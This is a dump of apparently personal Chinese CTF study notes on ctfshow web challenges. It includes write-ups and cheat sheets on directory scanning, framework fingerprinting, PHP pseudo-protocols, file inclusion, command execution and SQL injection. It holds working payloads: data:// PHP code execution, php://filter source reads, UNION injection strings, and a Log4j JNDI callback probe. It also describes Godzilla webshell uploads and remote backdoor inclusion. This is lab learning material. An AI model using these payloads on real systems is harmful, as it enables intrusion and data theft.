站点，所有\u0026quot;和首页长得一样\u0026quot;的路径都被吞掉 → 看起来\u0026quot;什么都没扫到\u0026quot;。\n这是防噪音设计（否则 catch-all 站会报几千条假结果），不是工具坏了。\n二、目标类型判断（花 3 秒，先做这步！）\rcurl -o nul -w \u0026#34;%{http_code} %{size_download}\u0026#34; https://目标/随便不存在的xyz123 curl -o nul -w \u0026#34;%{http_code} %{size_download}\u0026#34; https://目标/ 结果 结论 该干嘛 随机路径 404 / 大小不同 ✅ 正常站点 dirsearch 放心扫，能出结果 随机路径 200 且大小一样 ⚠️ catch-all 目录爆破意义不大，换思路 catch-all 站点的正确思路：源码审计（看主页源码/JS）、参数探测、伪协议、手动试常见文件名。\n三、dirsearch 正确用法\r# 基本（正常站点） dirsearch -u http://目标 -e php,txt,zip,bak -x 403 -t 20 # 指定字典 dirsearch -u http://目标 -w 字典.txt -e php # 强制显示指定状态码（辅助判断） dirsearch -u http://目标 -e php -i 200,301,302,401,403 # 中断后恢复 # Ctrl+C → [q]uit 退出 → [s]ave 保存会话 → 下次 --resume 会话文件 继续 注意：默认字典（dicc.txt）没有 .phps 条目——扫 .phps 要 -e php,phps 或自定义字典。\n四、源码泄露文件类型（PHP 站必试清单）\rindex.phps ← 直接显示高亮源码（重点！） index.php.bak ← 备份文件 index.php~ ← vim 备份 index.php.swp ← vim 交换文件 index.php.txt ← 改名保存 index.php.old ← 旧版本 原理：.php 被执行看不到源码；.phps 被 Web 服务器配置映射为源码显示（Apache AddType application/x-httpd-php-source .phps，nginx 同理）——访问直接看高亮源码。这是开发者/出题人常留的\u0026quot;后门\u0026quot;，等于主动泄露。\n五、工具对比\r工具 特点 适合 dirsearch 好用，有 wildcard 过滤（会吞相似内容） 正常站点、CTF ffuf 快，参数灵活（-ac 自动校准可关） 进阶、复杂场景 gobuster 老实，行为简单 想避开相似度过滤时 手动 curl 永远最可靠 试已知文件名时 六、实战流程（照这个走）\r1. curl 随机路径 → 判断目标类型（正常 / catch-all） 2. 正常 → dirsearch 扫（-e 加全扩展名） 3. catch-all → 手动试源码泄露文件 + 分析主页 4. 扫出结果 → 200/301 重点看；403 存在但被拦 5. 扫不出 → 不是坏事，说明没隐藏文件，转源码审计/参数探测 记忆口诀\r先探类型再爆破，catch-all 换思路；源码泄露试 phps，手动 curl 最可靠。\n速查表持续补充，实战遇到新技巧随时更新。\n","date":"2026-09-01T13:15:49+08:00","permalink":"/notes/ctf/info-leak/%E7%9B%AE%E5%BD%95%E7%88%86%E7%A0%B4%E4%B8%8E%E7%9B%AE%E6%A0%87%E7%B1%BB%E5%9E%8B%E5%88%A4%E6%96%AD/","title":"目录爆破与目标类型判断"},{"content":"ctfshow web4\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web4 难度：⭐ 考点：信息收集 日期：2026-9-1 题目描述\r解题思路\r1.看到了题目给我提示，于是就去robots看看 2.发现果然存在关于flag的文件后便再次打开此文件查询flag\nPayload / 关键操作\r1.在url后面加上robots.txt路径 2.在url后面加上flagishere.txt 复现截图\r1. 2. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r","date":"2026-09-01T11:59:42+08:00","permalink":"/notes/ctf/info-collection/web4/","title":"ctfshow web4"},{"content":"ctfshow web152\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web152 难度：⭐ 考点：文件上传（不严谨的后端校验） 日期：2026-8-31 题目描述\r根据题意是一个“不严谨”的后端校验\n解题思路\r这题就不演示了，作者是真不知道这后端是校验了个啥，用151一样的步骤直接就成功了，估计是校验了content-type把\nPayload / 关键操作\r复现截图\r对应课程章节\r踩坑记录 / 复盘\r","date":"2026-08-31T20:33:25+08:00","permalink":"/notes/ctf/file-upload/web152/","title":"ctfshow web152"},{"content":"ctfshow web151\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web151 难度：⭐ 考点：文件上传（前端验证绕过） 日期：2026-8-31 题目描述\r简单的文件上传\n解题思路\r1.题目信息给到你说“前端验证不可靠”，说明此题是前端验证的文件上传。这里你可以试想下，如果题目没给到你，你该如何判断这是为前端验证呢？1.通过浏览器右键检查看看是否有关于验证文件信息的代码 2. 打开代理抓包后尝试上传一个错误文件，如果burp并没用抓到包浏览器也弹出来了不可以上传此类型文件，说明你上传的文件根本没用经过对方服务器端的校验而是直接在前端就完成校验了。 2.知道对方是前端校验后我们就可以先生成个后门文件，然后将其后缀php先改成正确文件后缀，如png 3.打开抓包，将上传改造后的后门文件的数据包抓住并将后缀改回php 4.访问对应路径执行后用哥斯拉尝试连接并查找flag\nPayload / 关键操作\r1.打开代理burp进行验证 2.通过哥斯拉生成后门文件，然后将其改成png后缀 3.改回后缀 4.找flag 复现截图\r3. 4. 对应课程章节\r文件上传\n踩坑记录 / 复盘\r无\n","date":"2026-08-31T20:25:17+08:00","permalink":"/notes/ctf/file-upload/web151/","title":"ctfshow web151"},{"content":"ctfshow web80\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web80 难度：⭐ 考点：文件包含（远程文件包含） 日期：2026-8-31 题目描述\r题目直接将基本的伪协议基本全部ban掉了\n解题思路\r1.它将data://text/plain,伪协议ban了不代表一定是坏事，因为它ban这个其实从侧面也代表着它没有将allow_url_include给变成off，所以我们可以让其去包含我们远程的后门文件去执行即可。所以我们首先就得生成个后门，我这生成的是boqi.txt 2.生成好后将其放入对方可以访问的公网服务器上 3.然后用哥斯拉去连接后门 4.正常查看flag文件即可\nPayload / 关键操作\r1.正常生成后门即可 2.得放到对方能够抵达的地方 3.连接后门 4.正常查看flag文件即可 复现截图\r2. 3. 4. 对应课程章节\r50文件包含\n踩坑记录 / 复盘\r无\n","date":"2026-08-31T18:32:29+08:00","permalink":"/notes/ctf/file-inclusion/web80/","title":"ctfshow web80"},{"content":"ctfshow web79\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web79 难度：⭐⭐ 考点：文件包含（data配合base64编码执行命令） 日期：2026-8-30 题目描述\r题目用str_replace函数将php替换成了？？？，且是遍历循环，无法双写绕过\n解题思路\r1.这里就得想到data://text/plain伪协议了，因为你要执行的是php命令，所以你还要配和base64进行编码绕过，所以你接下来将使用的是data://text/plain;base64,的组合技！（唯一需要注意的是：因为你是base64编码，内容中会存在%=等等符号，你输入在浏览器栏时可能会被url解码，所以你这里最好自己先进行编码一次）\nPayload / 关键操作\r1.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpID8%2B 2.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKSA%2FPg%3D%3D 复现截图\r2. 对应课程章节\r50文件包含\n踩坑记录 / 复盘\r1.没有想到data://text/plain,伪协议居然可以配合base64打组合技\n","date":"2026-08-30T20:55:40+08:00","permalink":"/notes/ctf/file-inclusion/web79/","title":"ctfshow web79"},{"content":"ctfshow web78\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web78 难度：⭐ 考点：文件包含（include文件包含的关键函数） 日期：2026-8-30 题目描述\r发现题目存在include文件包含的关键函数\n解题思路\r1.先用data伪装协议去查看当前目录下的文件 2.然后再用data伪协议去执行查看flag.php的命令\nPayload / 关键操作\r1.?file=data://text/plain,\u0026lt;?php system(\u0026#39;ls\u0026#39;) ?\u0026gt; 2.?file=data://text/plain,\u0026lt;?php system(\u0026#39;tac flag.php\u0026#39;) ?\u0026gt; 复现截图\r1. 2.\n对应课程章节\r文件包含漏洞\n踩坑记录 / 复盘\r无，easy\n","date":"2026-08-30T20:04:39+08:00","permalink":"/notes/ctf/file-inclusion/web78/","title":"ctfshow web78"},{"content":"ctfshow web33\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web33 难度：⭐ 考点：Web33 日期：2026-8-30 题目描述\r解题思路\r1.和32思路基本一样，就是构造文件包含漏洞配合伪协议就行\nPayload / 关键操作\r1./?c=include$_GET[1]?\u0026gt;\u0026amp;1=data://text/plain,\u0026lt;?php system(\u0026#39;ls\u0026#39;) ?\u0026gt; 2.?c=include$_GET[1]?\u0026gt;\u0026amp;1=php://filter/read=convert.base64-encode/resource=flag.php 复现截图\r1. 2.\n对应课程章节\rRCE命令执行\n踩坑记录 / 复盘\r神不会在同一个地方放错\n","date":"2026-08-30T18:02:59+08:00","permalink":"/notes/ctf/command-execution/web33/","title":"ctfshow web33"},{"content":"ctfshow web3\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web3 难度：⭐ 考点：信息收集（信息暴露在数据包） 日期：2026-8-30 题目描述\r解题思路\r1.开始题目就说了“没思路就去抓个数据包看看”\nPayload / 关键操作\r抓包 复现截图\r对应课程章节\r无\n踩坑记录 / 复盘\r救赎之道，就在其中\n","date":"2026-08-30T17:47:32+08:00","permalink":"/notes/ctf/info-collection/web3/","title":"ctfshow web3"},{"content":"ctfshow webXXX - 题目名\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web2 难度：⭐ 考点：信息收集（绕过javascript） 日期：2026-8-30 题目描述\r解题思路\r1.禁用浏览器禁用JavaScript即可\nPayload / 关键操作\r复现截图\r对应课程章节\r无\n踩坑记录 / 复盘\r1.这里多学到了另一种方法：view-source是一种协议，早期基本上每个浏览器都支持这个协议。后来Microsoft考虑安全性，对于WindowsXP pack2以及更高版本以后IE就不再支持此协议。但是这个方法在FireFox和Chrome浏览器都还可以使用。 如果要在IE下查看源代码,只能使用查看中的\u0026quot;查看源代码\u0026quot;命令.以前的使用方法：在浏览器地址栏中输入 view-source: sURL\n","date":"2026-08-30T17:32:24+08:00","permalink":"/notes/ctf/info-collection/web2/","title":"ctfshow webXXX - 题目名"},{"content":"框架识别方法论（Web 框架/组件指纹）\r用途：看到目标 → 确定它是什么框架/组件 → 知道该打什么 核心思想：识别目的 = 知道该打什么，不需要 100% 精确，工具会兜底 组合拳：响应头/插件先猜 → 报错页/默认路径确认 → 工具验证\n一、识别流程总览（照这个顺序走）\r第1步 响应头 Server / X-Powered-By / X-Application-Context 第2步 浏览器插件 Wappalyzer（快速线索，可被伪造，仅参考） 第3步 报错探测 触发404/非法参数，看框架默认错误页（最可靠） 第4步 默认路径 /actuator、/wp-admin、/console、?s= 等 第5步 Cookie/Session JSESSIONID、PHPSESSID、rememberMe 第6步 主动探测 对目标发特定请求看回显 第7步 工具兜底 whatweb / fscan / nuclei（自动识别+匹配模板） 二、响应头速查（第1步）\r响应头 含义 Server: nginx / Apache / IIS Web 服务器 X-Powered-By: PHP/7.4 PHP X-Powered-By: ASP.NET ASP.NET X-Application-Context: application Spring Boot（基本实锤） X-AspNet-Version: 4.0 ASP.NET Via / X-Generator 代理 / 生成器线索 三、报错页特征（第3步，最可靠）\r报错特征 框架 Whitelabel Error Page Spring Boot 特定的 404 页面样式 Tomcat ThinkPHP 风格报错 ThinkPHP 标准 Nginx 404 Nginx 语法错误/堆栈回显 PHP / .NET 触发方式：访问不存在的路径、提交非法参数、故意制造异常\n四、默认路径 / 路由特征（第4步，硬指纹）\r路径/特征 框架/组件 /actuator/env、/actuator/health Spring Boot /wp-admin、/wp-login.php WordPress /console Weblogic /manager/html Tomcat ?s=index/think\\app/invokefunction ThinkPHP ?index.php?s=... ThinkPHP /index.php?m=\u0026amp;c=\u0026amp;a= 老 PHP 框架 /vendor Laravel /admin 各种后台 五、Cookie / Session 特征（第5步）\rCookie 含义 rememberMe=deleteMe Shiro（实锤） JSESSIONID Java 系（Tomcat/Weblogic/Jetty） PHPSESSID PHP ASP.NET_SessionId ASP.NET 六、主动指纹探测（第6步）\r探测动作 识别目标 访问 /actuator/env 看返回 Spring Boot 访问 /wp-login.php WordPress 访问 /index.php?s=index/think\\app/invokefunction ThinkPHP（顺便可打 RCE） 传 ${jndi:ldap://dnslog} 看回连 Log4j 七、工具兜底（第7步，安全感来源）\rwhatweb 目标 # 命令行指纹 fscan -h 目标 # 扫描+识别+常见洞 nuclei -u 目标 -t 组件模板/ # 按组件打 CVE 模板 工具模板按框架分类，识别和利用一步到位——你只需要确认结果。\n八、识别出来之后：常见框架 → 该打什么\r识别结果 优先测试方向 Spring Boot /actuator 信息泄露、SpEL、历史 RCE CVE Shiro rememberMe 反序列化 Fastjson @type 反序列化 ThinkPHP 历史 RCE（如 5.0.23 远程代码执行） Weblogic 反序列化 / 未授权（7001） Tomcat 弱口令 manager、AJP 文件读取 WordPress 插件漏洞、弱口令 Laravel 密钥泄露 → 反序列化 记忆口诀\r头看响应，错看报错，路看路径，标识看Cookie，最后工具兜底。\n速查表持续补充，实战遇到新框架/新特征随时更新。\n","date":"2026-08-29T17:07:50+08:00","permalink":"/notes/ctf/middleware-vuln/%E6%A1%86%E6%9E%B6%E8%AF%86%E5%88%AB%E6%96%B9%E6%B3%95%E8%AE%BA/","title":"框架识别方法论（Web 框架/组件指纹）"},{"content":"中间件/组件/框架 指纹速查表\r用途：识别目标是什么组件 → 查对应 CVE → 工具复现 学习策略：不用背漏洞细节，只记\u0026quot;端口映射 + 指纹特征 + 每类 1 个代表洞\u0026quot; 一句话流程：扫端口 → 认组件 → nuclei/fscan 打模板 → 搜 CVE 复现\n一、端口 → 组件映射（核心，必记）\r端口 组件 端口 组件 21 FTP 7001 Weblogic 22 SSH 8009 Tomcat AJP 3306 MySQL 8080 Tomcat / 各种 Web 6379 Redis 8081/8082 中间件后台 27017 MongoDB 8161 ActiveMQ 445 SMB 8443 HTTPS 管理口 3389 RDP 8848 Nacos 2375 Docker API 9200 Elasticsearch 11211 Memcached 9090 WebLogic 管理台 / Prometheus 2181 Zookeeper 10000 Webmin 5432 PostgreSQL 1521 Oracle 80/443 Web 服务 2222 SSH 改端口 记忆要点：高危未授权三兄弟 = Redis(6379) / MongoDB(27017) / Docker API(2375)，扫到直接连一下试试。\n二、组件指纹特征（看到特征 = 知道是啥）\r组件 招牌特征 Shiro 响应 Cookie 带 rememberMe=deleteMe（最经典） Fastjson 请求体 {\u0026quot;@type\u0026quot;:\u0026quot;...\u0026quot;}；报错回显特征 Spring 响应头 X-Application-Context；特定报错页 ThinkPHP URL 特征（如 ?s=index/think\\app/invokefunction）；特定报错格式 Nacos 8848 端口 + 登录界面（默认口令 nacos/nacos 常有效） Tomcat 默认报错页；/manager/html 管理后台（弱口令） Weblogic 7001 端口 + 特定报错；/console 管理台 Jenkins 8080 端口 + Jenkins 界面（未授权 / 弱口令） Log4j 传 ${jndi:ldap://...} 看 DNSLog 是否回连 JBoss 8080 + /jmx-console、/invoker 等路径 ActiveMQ 8161 端口 + ActiveMQ 界面 Elasticsearch 9200 端口，/_cat/indices 直接可访问 三、每类 1 个代表洞（原理带一片，够了）\r类别 代表洞 同类 反序列化 Shiro 反序列化（rememberMe 密文） Fastjson、Weblogic、JBoss、Log4j 未授权访问 Redis 未授权（写 SSH key/定时任务） MongoDB、Docker API、Nacos、Jenkins、ES 默认/弱口令 Nacos nacos/nacos Tomcat、Weblogic、Jenkins、SSH 爆破 任意文件读 Spring 目录穿越（CVE-2021-21234 等） Tomcat 任意文件、各种历史 CVE 反序列化的核心思想（必懂）：服务端把不可信数据反序列化 → 攻击者构造恶意序列化数据 → 触发代码执行。懂这一个原理，Shiro/Fastjson/Weblogic 的洞都是\u0026quot;换了个入口的同一个故事\u0026quot;。\n四、工具链（2026 标配）\r工具 用途 fscan 内网/端口扫描 + 常见漏洞一把梭（识别组件、未授权、弱口令） nuclei 用模板库自动打历史 CVE（识别到组件 → 跑对应模板） nmap 端口扫描（-sV 识别服务版本） xray / goby 被动/主动扫描（可选） Wappalyzer（浏览器插件） 前端快速看技术栈 实战流程：\n1. nmap -sV 目标IP → 看开放端口 + 服务版本 2. fscan -h 目标IP → 自动识别组件 + 打常见漏洞 3. 根据识别结果： - nuclei -u 目标 -t 组件/ → 跑该组件的 CVE 模板 - 或手动搜 CVE：Exploit-DB / GitHub PoC / 本地笔记 4. 复现 → 拿 flag / getshell 五、查 CVE 的资源（记住去哪查就行）\rExploit-DB：https://www.exploit-db.com/ nuclei 模板库：https://github.com/projectdiscovery/nuclei-templates（按组件分类） GitHub PoC 搜索：搜 组件名 CVE-年份 PoC fscan 输出：识别+常见洞一键出结果 自己仓库的「中间件漏洞」文件夹：遇到新洞顺手记一页（触发特征 → payload → 复现截图） 六、记忆口诀\r端口认组件，指纹定版本，工具打模板，查表补细节。\n速查表持续补充，实战遇到新组件/新特征随时更新。\n","date":"2026-08-29T14:07:45+08:00","permalink":"/notes/ctf/middleware-vuln/%E4%B8%AD%E9%97%B4%E4%BB%B6%E7%BB%84%E4%BB%B6%E6%8C%87%E7%BA%B9%E9%80%9F%E6%9F%A5%E8%A1%A8/","title":"中间件/组件/框架 指纹速查表"},{"content":"ctfshow web32\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web32 难度：⭐⭐ 考点：命令执行配合制造漏洞代码 日期：2026-8-29 题目描述\r将大部分常规思路代码都过滤了，尤其是分号的过滤，因为我们的普遍认知都是php中每个想要执行的代码后面都必须存在分号\n解题思路\r1.发现过滤了分号就去思考有什么不需要用到分号或者只用一次分号就能解决问题的办法 2.然后聪明的你就想到了通过构造文件包含漏洞配合伪协议来解决这题\n下面的两个payload都可以获取flag\nPayload / 关键操作\r一.?c=include$_GET[1]?\u0026gt;\u0026amp;1=data://text/plain,\u0026lt;?php system(\u0026#39;tac flag.php\u0026#39;);?\u0026gt; 二.?c=include$_GET[1]?\u0026gt;\u0026amp;1=php://filter/read=convert.base64-encode/resource=flag.php 复现截图\r一.\n二.\n对应课程章节\rRCE命令执行\n踩坑记录 / 复盘\r1.正常来说分号是php代码的结束符，没有分号就会报错。但这有个小细节:?\u0026gt;这个也可以作为php代码的结束符，所以一般php代码的最后一个代码都可以不用分号\n","date":"2026-08-29T11:57:33+08:00","permalink":"/notes/ctf/command-execution/web32/","title":"ctfshow web32"},{"content":"伪协议速查表（PHP）\r适用：文件包含（include/require）题、任意文件读取题 记忆口诀：读文件用 filter，执行用 data/input\n一、什么是伪协议（一句话原理）\rPHP 的 include / file_get_contents 等函数读的不一定是磁盘文件，还可以是\u0026quot;协议流\u0026quot;（由 PHP 生成的内容）。伪协议 = 这些特殊流。\n支持伪协议的函数：include / require / include_once / require_once / file_get_contents / readfile / file / fopen\n关键配置：\nallow_url_include=On：data:// 和 php://input 才可用（CTF 环境一般开着） allow_url_fopen：默认 On 二、4 个必记协议\r① php://filter —— 读源码（最最常用）\r// 读 PHP 文件内容（base64 编码，避免被当作代码执行） php://filter/read=convert.base64-encode/resource=flag.php // 变体：省略 read=（等价） php://filter/convert.base64-encode/resource=flag.php // 变体：读文件内容原样输出（非 PHP 文件时用） php://filter/resource=flag.txt // 变体：多过滤器（进阶，绕过时用） php://filter/read=convert.iconv.utf-8.utf-16/convert.base64-encode/resource=flag.php ⚠️ base64 输出里可能带 + / =，在 URL 中会被编码成 %2B %2F %3D，看到这种记得 urldecode\n② data:// —— 直接执行代码\r// 塞一段 PHP 代码执行（\u0026lt;?= 是短标签，等价 \u0026lt;?php echo） data://text/plain,\u0026lt;?=system(\u0026#39;tac flag.php\u0026#39;);?\u0026gt; // 普通文本（配合 include 输出文本内容） data://text/plain,hello ③ php://input —— POST 内容当代码\r// URL 里写：php://input // POST 请求体里写：\u0026lt;?php system(\u0026#39;tac flag.php\u0026#39;);?\u0026gt; ④ 其它（了解即可）\rphp://temp / php://memory 临时/内存流 expect://命令 执行命令（需装 expect 扩展，基本遇不到） php://filter/string.rot13 过滤器：rot13 加密（绕过过滤时用） 三、场景速查表\r场景 用什么 例子 include 了 PHP 文件，想看源码 php://filter + base64 ?file=php://filter/read=convert.base64-encode/resource=index.php include 可控，想执行代码 data:// 或 php://input ?file=data://text/plain,\u0026lt;?=phpinfo();?\u0026gt; 有文件包含但过滤了关键字 过滤器链 / 编码绕过 convert.iconv 链、rot13、二次编码 读非 PHP 文件（txt/json） php://filter/resource= 或直接路径 ?file=flag.txt 四、考点总结（CTF 怎么考）\r经典套路：include $_GET['file'] → ?file=php://filter/read=convert.base64-encode/resource=flag.php → base64 解码拿 flag 配合过滤绕过：过滤了 ; → 用 ?\u0026gt; 当分号（PHP 闭合标签=隐式分号）；过滤了关键字 → 把 payload 挪到未过滤的参数（见《文件包含》案例题） 过滤器链（进阶）：convert.iconv.* 多过滤器组合可以构造任意字符，用于绕过更严格的过滤（如只能读部分字符） php://input 需要 allow_url_include=On，题目开不了的话用 data:// 代替 五、实战案例（小迪题：分号过滤 + 伪协议）\r// 源码：eval($_GET[\u0026#39;c\u0026#39;])，过滤 flag|system|php|cat|sort|shell|.|echo|; // 绕过：分号用 ?\u0026gt; 代替，payload 挪到未过滤的 a 参数 ?c=include $_GET[a] ?\u0026gt;\u0026amp;a=php://filter/read=convert.base64-encode/resource=flag.php // 或 ?c=include $_GET[a] ?\u0026gt;\u0026amp;a=data://text/plain,\u0026lt;?=system(\u0026#39;tac flag.php\u0026#39;);?\u0026gt; 两层绕过：\n; 被过滤 → ?\u0026gt; 隐式分号收尾 system/flag/php/. 被过滤 → 全部塞进未过滤的 a 参数 速查表持续补充，遇到新考法随时更新。\n","date":"2026-08-29T10:49:12+08:00","permalink":"/notes/ctf/file-inclusion/%E4%BC%AA%E5%8D%8F%E8%AE%AE%E9%80%9F%E6%9F%A5%E8%A1%A8/","title":"伪协议速查表（PHP）"},{"content":"ctfshow webXXX - 题目名\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：Web30 难度：⭐ 考点：RCE命令执行（无回显） 日期：2026-8-28 题目描述\r来到靶场，发现其多过滤了system和php\n解题思路\r1.因为只过滤了system，我们还可以去使用其他命令执行的函数，比如（我写这题想到的）exec，shell_exec等等，但是exec和shell_exec都是无法回显到页面上来的 2.遇到无回显我们会怎么办呢？一个是带外查询，一个就是本地文件创建于访问。因为我们是要查看具体的flag值，所以得选择后者 3.在使用ls查看本地文件的同时创建一个自定义文件让它将数据记录在里面 4.然后去访问一下furina.txt文件，发现flag确实是在本级目录 5.然后再用tac命令配合文件创建并查看即可\nPayload / 关键操作\r3.?c=exec(\u0026#34;ls \u0026gt;\u0026gt; furina.txt\u0026#34;); 5.?c=exec(\u0026#34;tac fla?.ph? \u0026gt; furina.txt\u0026#34;); 复现截图\r3. 4. 5. 对应课程章节\rRCE命令执行\n踩坑记录 / 复盘\r无\n","date":"2026-08-28T10:31:09+08:00","permalink":"/notes/ctf/command-execution/web30/","title":"ctfshow webXXX - 题目名"},{"content":"ctfshow web29\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web29 难度：⭐ 考点：如 SQL 注入（无回显） 日期：2026-8-28 题目描述\r一个简单的eval命令执行，只是过滤了flag\n解题思路\r1.先简单审计函数，发现里面出现了关键函数“eval” 2.想到代码执行转变为命令执行去查看本地文件 3.发现flag文件，因为有过滤，所以我们可以使用占位符？或者通配符*去绕过\nPayload / 关键操作\r2.?c=system(\u0026#39;ls\u0026#39;); 3.?c=system(\u0026#39;tac fla?.php\u0026#39;); 复现截图\r3.\n对应课程章节\r59.RCE命令执行\n踩坑记录 / 复盘\r值得注意的是，我不知道是bug还是它内部过滤的原因，反正就是用不了cat命令\n","date":"2026-08-28T09:56:06+08:00","permalink":"/notes/ctf/command-execution/web29/","title":"ctfshow web29"},{"content":"ctfshow web174\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web174 难度：⭐ 考点：如 SQL 注入（无回显） 日期：2026-8-27 题目描述\r解题思路\r核心思路：发现注入点、识别盲注条件成功与否返回值、构造条件语句、构造截取字符串。 打开题目发现：\n$sql = \u0026quot;select username,password from ctfshow_user4 where username !='flag' and id = '\u0026quot;.$_GET['id'].\u0026quot;' limit 1;\u0026quot;;\n1、抓包，确认注入点在哪里。\n/api/v4.php?id=1\n2、输入1、1\u0026rsquo;、1\u0026quot;确认是字符型还是数值型。同时确认闭合形式。\n其他题目必要时输入1\u0026rsquo;\u0026quot;) 。\n对于数值型，输入1\u0026rsquo;和1\u0026quot;返回值都一样。对于字符型，输入1和1\u0026rsquo;是不一样的返回结果。 输入1'返回结果空，说明程序运行异常。构造1' and 1=1 -- +\nPayload / 关键操作\r? id=0\u0026#39; union select REPLACE(username,\u0026#39;g\u0026#39;,\u0026#39;j\u0026#39;),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,\u0026#39;g\u0026#39;,\u0026#39;9\u0026#39;),\u0026#39;0\u0026#39;,\u0026#39;h\u0026#39;),\u0026#39;1\u0026#39;,\u0026#39;i\u0026#39;),\u0026#39;2\u0026#39;,\u0026#39;j\u0026#39;),\u0026#39;3\u0026#39;,\u0026#39;k\u0026#39;),\u0026#39;4\u0026#39;,\u0026#39;l\u0026#39;),\u0026#39;5\u0026#39;,\u0026#39;m\u0026#39;),\u0026#39;6\u0026#39;,\u0026#39;n\u0026#39;),\u0026#39;7\u0026#39;,\u0026#39;o\u0026#39;),\u0026#39;8\u0026#39;,\u0026#39;p\u0026#39;),\u0026#39;9\u0026#39;,\u0026#39;q\u0026#39;) from ctfshow_user4 where username=\u0026#39;flag\u0026#39;%23 复现截图\r对应小迪课程章节\rSQL注入\n踩坑记录 / 复盘\r1.使用union select的时候面对数值可以直接写，比如union select 1,2;但如果是字符就必须加引号，不然数据库会以为你是要查询对应的列名：union select \u0026lsquo;a\u0026rsquo;,\u0026lsquo;b\u0026rsquo;\n","date":"2026-08-27T11:21:36+08:00","permalink":"/notes/ctf/sql-injection/web174/","title":"ctfshow web174"},{"content":"ctfshow web173\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web173 难度：⭐ 考点：如 SQL 注入 日期：2026-8-27 题目描述\r和上题基本一样，就是多了一个正则，匹配到flag就不会给你查询\n解题思路\r其实直接按部就班上题就行了，因为我们用的是联合查询，username本来就被我们变成数字了，我们想要的只是password而已 [\u0026ldquo;ctfshow web174\u0026rdquo;,\u0026ldquo;123\u0026rdquo;]\nPayload / 关键操作\r1.1 \u0026#39; union select 1,2,database() --+ 2. 1 \u0026#39; union select 1,456,password from ctfshow_user3 --+ 复现截图\r对应课程章节\rSQL注入\n踩坑记录 / 复盘\r记得先用order by 探针一下，md我一直以为id不算payload一直都是union select 1,2 。还一直在想我究竟错哪了\n","date":"2026-08-27T11:15:36+08:00","permalink":"/notes/ctf/sql-injection/web173/","title":"ctfshow web173"},{"content":"ctfshow web172\r题号：web172 难度：⭐ 考点：如 SQL 注入 日期：2026-8-26 题目描述\r来到界面就只有一只小猫，尝试去寻找注入点\n解题思路\r1.发现小猫上面分了很多个模块，其他模块都是没有解锁状态，只有SELECT模块可以点 2.点进去后发现它和171类似，也是限制了username=flag，这也说明了我们想要的值就在username=flag对应的password上面 3.通过输入1 \u0026rsquo; or 1=1 \u0026ndash;+观察到数据库信息中并没有答案，说明我们想要的值在别的列名或表名中 4.因为判断出它是有回显的查询，我们就可以用到union select联合查询去破解，于是就开始寻找它的数据库名与权限信息（因为现在的数据库基本都是5.0版本以上，就没必要去version()看版本了） 5.知道对方的数据库名后，我们就可以通过自带的数据库名information_schema去尝试找到对方的表名 6.知道表名后，因为题目已经告诉了我们列名（字段名）的信息，我们就没必要去看了，直接去找它表明里面的数据就行了\nPayload / 关键操作\r1 \u0026#39; union select database(),group_concat(table_name) from information_schema.tables where table_schema=\u0026#39;ctfshow_web\u0026#39;--+ -1\u0026#39; union select 1,password from ctfshow_user2 --+ 复现截图\r1. 2. 3. 4. 5. 6.\n对应课程章节\rSQL注入42天\n踩坑记录 / 复盘\r多注意观察靶场的每个界面，少撸猫\n","date":"2026-08-26T14:12:19+08:00","permalink":"/notes/ctf/sql-injection/web172/","title":"ctfshow web172"},{"content":"ctfshow web- 171\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web171 难度：⭐ 考点：SQL 注入 日期：2026-8-26 题目描述\r解题思路\r来到靶场先看它给的提示，在它给的sql语句中发现它查找的username值是不能等于flag的，这也恰恰说明这个库中存在username等于flag的值且password就是我们最终想要的答案，所以我们现在的目标就是要尝试绕过它的限制。根据题意可知绕过的方式就是熟悉的1=1将它的库全部拖出来即可。\nPayload / 关键操作\r-4.\u0026#34; \u0026#39; or 1 = 1 --+ 复现截图\r对应课程章节\rsql注入\n踩坑记录 / 复盘\r想了有一会儿才发现是要把它库全部拖出来，就用1=1\n","date":"2026-08-26T11:41:15+08:00","permalink":"/notes/ctf/sql-injection/web171/","title":"ctfshow web- 171"},{"content":"ctfshow webXXX - 题目名\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：webXXX 难度：⭐~⭐⭐⭐ 考点：如 SQL 注入（无回显） 日期：YYYY-MM-DD 题目描述\r（题目给了什么环境、什么提示）\n解题思路\r（从哪步开始想的，怎么一步步走到答案）\nPayload / 关键操作\r（贴出关键 payload 或命令） 复现截图\r（截图放这里，说明是哪一步的）\n对应小迪课程章节\r（如：Web攻防-命令执行，方便回头复习）\n踩坑记录 / 复盘\r（卡在哪了、绕了什么弯、下次遇到要注意什么）\n","date":"2026-08-26T10:59:27+08:00","permalink":"/notes/ctf/file-inclusion/%E9%A2%98%E7%9B%AE%E6%A8%A1%E6%9D%BF/","title":"ctfshow webXXX - 题目名"},{"content":" 🖼️ 以相册模式查看 ↗ 